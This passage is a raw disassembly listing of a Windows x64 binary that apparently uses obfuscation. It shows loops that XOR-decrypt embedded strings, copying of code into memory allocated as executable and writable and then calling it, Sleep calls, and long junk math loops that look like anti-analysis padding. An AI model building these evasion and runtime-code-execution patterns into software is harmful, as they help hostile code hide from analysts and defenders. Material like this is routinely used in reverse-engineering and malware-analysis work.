packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x140010810
cmp r9d, 0x79
jge 0x1400109f1
movsxd rax, r9d
lea r10, [rbp + 0x30]
add r10, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x77
sub r8b, cl
add r8b, 0x55
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x1400109a0
movups xmm0, xmmword [0x1400313e0]
movups xmmword [rbp - 0x80], xmm0
movups xmm0, xmmword [0x140031400]
movups xmm1, xmmword [0x1400313f0]
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
movzx eax, word [0x140031448]
movups xmm0, xmmword [0x140031420]
movups xmm1, xmmword [0x140031410]
mov word [rbp - 0x18], ax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x50], xmm1
movzx eax, byte [0x14003144a]
movsd xmm0, qword [0x140031440]
movups xmm1, xmmword [0x140031430]
mov byte [rbp - 0x16], al
movsd qword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x30], xmm1
mov r9d, r12d
cmp r15d, 2
jl 0x140010bf2
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp - 0x80]
mov edx, dword [rsp + 0x40]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x140010a71
cmp r9d, 0x6b
jge 0x140010c51
movsxd rax, r9d
lea r10, [rbp - 0x80]
add r10, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x77
sub r8b, cl
add r8b, 0x55
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x140010c00
lea r8, [rbp + 0x178]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xf0]
call fcn.140022290
nop
lea r8, [rbp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140021910
nop
mov rcx, rax
call fcn.140020620
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
lea rbx, [0x140022230]
mov rax, qword [0x14003db10]
test rax, rax
je 0x140010ce9
cmp rax, rbx
je 0x140010cd6
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3db10]
test rax, rax
jne 0x140010cc0
jmp 0x140010ce9
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3cb40]
test r8, r8
jne 0x140010dcf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140010d12
mov r8, r12
jmp 0x140010dae
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140010d20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003b520]
mov qword [rdi + rax*8 + 0x3db10], rbx
mov qword [rdi + rax*8 + 0x3cb40], r8
inc rax
mov qword [0x14003b520], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.140020760
nop
lea rcx, [rbp + 0xf0]
call fcn.140020760
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.1400200e0
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x1400319b0]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001650
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.140021a70
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.140021a90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021ac0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021af0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140021b80
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140020010
nop
lea rcx, [rsp + 0x50]
call fcn.14001fff0
nop
lea rcx, [rsp + 0x40]
call fcn.14001fff0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
jns 0x14001136a
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, [0x1400309c0]
lea rcx, [rbp + 0x120]
call fcn.1400207c0
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.140020190
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c30
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.140021c90
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x140011256
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011265
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x1400112e5
lea rcx, [rbp + 0xd0]
call fcn.1400219d0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x140011305
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.140021bb0
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x140011280
sub rdi, 1
jne 0x140011270
lea rcx, [rbp + 0xd8]
call fcn.140020130
nop
lea rcx, [rbp + 0x120]
call fcn.140020760
sub rsi, 1
jne 0x140011040
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
js 0x140011030
lea rbx, [0x140022230]
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.140020040
mov dword [rsp + 0x30], 0x96
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x14003bb80]
test rax, rax
je 0x1400113da
cmp rax, r13
je 0x1400113c7
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb80]
test rax, rax
jne 0x1400113b1
jmp 0x1400113da
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3d4c0]
test r8, r8
jne 0x1400114bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011403
mov r8, r12
jmp 0x14001149e
mov rax, r13
mov rcx, r8
mov rdx, r14
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011410
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003c1c0]
mov qword [rdi + rax*8 + 0x3bb80], r13
mov qword [rdi + rax*8 + 0x3d4c0], r8
inc rax
mov qword [0x14003c1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
movups xmm0, xmmword [str.8__]
movups xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140031240]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x140031248]
mov dword [rbp + 0x108], eax
movzx eax, word [0x14003124c]
mov word [rbp + 0x10c], ax
mov r9d, r12d
cmp r15d, 2
jl 0x1400116d1
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140011550
cmp r9d, 0x1e
jge 0x140011731
movsxd rax, r9d
lea r10, [rbp + 0xf0]
add r10, rax
nop
mov eax, 0x4d4873ed
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x77
sub r8b, cl
add r8b, 0x55
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1e
jl 0x1400116e0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x14003bea0]
lea rsi, [0x140022230]
test rax, rax
je 0x14001179c
cmp rax, rsi
je 0x140011789
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bea0]
test rax, rax
jne 0x140011773
jmp 0x14001179c
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3b860]
test r8, r8
jne 0x14001187f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400117c5
mov r8, r12
jmp 0x14001185e
mov rax, rsi
mov rcx, r8
mov rdx, r14
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400117d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003b850]
mov qword [rdi + rax*8 + 0x3bea0], rsi
mov qword [rdi + rax*8 + 0x3b860], r8
inc rax
mov qword [0x14003b850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000add0]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
mov dword [rsp + 0x30], 0x320
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x14003bb80]
test rax, rax
je 0x14001190e
cmp rax, r13
je 0x1400118fb
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb80]
test rax, rax
jne 0x1400118e5
jmp 0x14001190e
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3d4c0]
test r8, r8
jne 0x1400119ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140011937
mov r8, r12
jmp 0x1400119ce
mov rax, r13
mov rcx, r8
mov rdx, r14
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140011940
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14003c1c0]
mov qword [rdi + rax*8 + 0x3bb80], r13
mov qword [rdi + rax*8 + 0x3d4c0], r8
inc rax
mov qword [0x14003c1c0], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
mov rax, qword [str.125r9Ac6:u8]
mov qword [rsp + 0x38], rax
cmp r15d, 2
jl 0x140011b9b
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm15
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x38]
xorps xmm2, xmm1
movd dword [rsp + 0x38], xmm2
movdqa xmm4, xmmword [0x140031970]
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm11
movdqa xmm0, xmm1
